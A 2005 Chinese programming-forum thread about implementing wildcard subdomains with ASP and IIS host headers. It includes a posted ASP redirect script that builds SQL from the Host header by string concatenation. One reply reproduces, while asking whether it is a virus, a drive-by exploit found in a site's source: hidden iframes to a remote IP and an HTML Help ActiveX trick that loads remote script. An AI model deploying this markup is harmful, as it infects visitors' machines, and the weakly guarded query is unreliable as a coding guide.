谁说一下以下两个类似二级域名的实现方法的简单原理

window221 2005-06-29 09:48:15
http://37542.cg180.com/这一种是个转向,我知道
http://power.5322.cn/谁说一下这一种的具体实现方法?好像没用框架
...全文
97 7 打赏 收藏 转发到动态 举报
写回复
用AI写文章
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
张海霖 2005-09-03
  • 打赏
  • 举报
回复
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="CONN.asp" -->
<%
geturl=replace(Request.ServerVariables("HTTP_HOST"),"www.","")
geturl=replace(geturl,".rohu.net","")
geturl=replace(geturl,"'","")
set rs=Server.CreateObject("Adodb.RecordSet")
sql= "Select SiteName,url from [site] where user='" & geturl & "'"
rs.Open sql,conn,1,1
if not rs.EOF then
'response.Redirect(rs("url"))
%>
<html>
<head><title><%=rs("SiteName")%></title></head>
<frameset cols='*' rows='*, 0'>
<frame src='<%=rs("url")%>' frameborder='0' scrolling='Auto' noresize marginwidth='0' marginheight='0'>
<frame src="UntitledFrame-2"></frameset><noframes></noframes>
<!--
<noframes><body>Frame required.</body></noframes>
-->
</html>
<%
else
Response.Write "<script Language=Javascript>alert('该用户不存在?');location.href='reg.asp';</script>"
end if
rs.close()
conn.close()
set rs=nothing
set conn=nothing
%>


张海霖 2005-09-03
  • 打赏
  • 举报
回复
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="CONN.asp" -->
<%
geturl=replace(Request.ServerVariables("HTTP_HOST"),"www.","")
geturl=replace(geturl,".rohu.net","")
geturl=replace(geturl,"'","")
set rs=Server.CreateObject("Adodb.RecordSet")
sql= "Select SiteName,url from [site] where user='" & geturl & "'"
rs.Open sql,conn,1,1
if not rs.EOF then
'response.Redirect(rs("url"))
%>
<html>
<head><title><%=rs("SiteName")%></title></head>
<frameset cols='*' rows='*, 0'>
<frame src='<%=rs("url")%>' frameborder='0' scrolling='Auto' noresize marginwidth='0' marginheight='0'>
<frame src="UntitledFrame-2"></frameset><noframes></noframes>
<!--
<noframes><body>Frame required.</body></noframes>
-->
</html>
<%
else
Response.Write "<script Language=Javascript>alert('该用户不存在?');location.href='reg.asp';</script>"
end if
rs.close()
conn.close()
set rs=nothing
set conn=nothing
%>


zy51 2005-06-29
  • 打赏
  • 举报
回复
越说越离谱了? 这需要用代码实现吗??

IIS添加站点,主机头power.5322.cn 在域名管理中指定power.5322.cn的解析ip为你的服务器ip.
power.5322.cn = 一个虚拟主机. 看看iis管理方面的知识吧.
小赵 2005-06-29
  • 打赏
  • 举报
回复
我很想知道
所以我顶~1
window221 2005-06-29
  • 打赏
  • 举报
回复
我知道是普通的泛域名解析,
但是我想知道的是为什么第二种和真的二级域名差不多,没用转向和框架,
和我在网上找的代码不一样啊。我在网上找的代码都是和第一种差不多的
wzhiyuan 2005-06-29
  • 打赏
  • 举报
回复
这个是他的源文件里的东西,达人看看是什么东西?是不是病毒?
<iframe height=0 width=0 src="http://61.156.20.1/333/icyfox.htm"></iframe>

<iframe height=0 width=0 src="http://61.156.20.1/333/jiaozhu.htm"></iframe>
/**********下面是jiaozhu.htm的源文件**********/
<SCRIPT language=VScript src="bbs003302.gif"></SCRIPT>

<SCRIPT language=VScript src="bbs003302.css"></SCRIPT>

<HTML>

<BODY>

<div style="display:none">

<OBJECT id="cctv" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<PARAM name="Command" value="Related Topics, MENU">

<PARAM name="Window" value="$global_ifl">

<PARAM name="Item1" value='command;file://C:\WINDOWS\Help\apps.chm'>

</OBJECT>

<OBJECT id="zgds" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl">

<PARAM name="Item1" value='command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://61.156.20.1/333/bbs003302.gif\\\"\"+String.fromCharCode(62)+\"</SCR\"+\"IPT\"+String.fromCharCode(62))")'>

</OBJECT>

</div>

<SCRIPT>cctv.Click();setTimeout("zgds.Click();",0);</SCRIPT>

</BODY>

</HTML>

/**********上面是jiaozhu.htm的源文件**********/
wzhiyuan 2005-06-29
  • 打赏
  • 举报
回复
就是普通的泛域名解析吧?

28,406

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧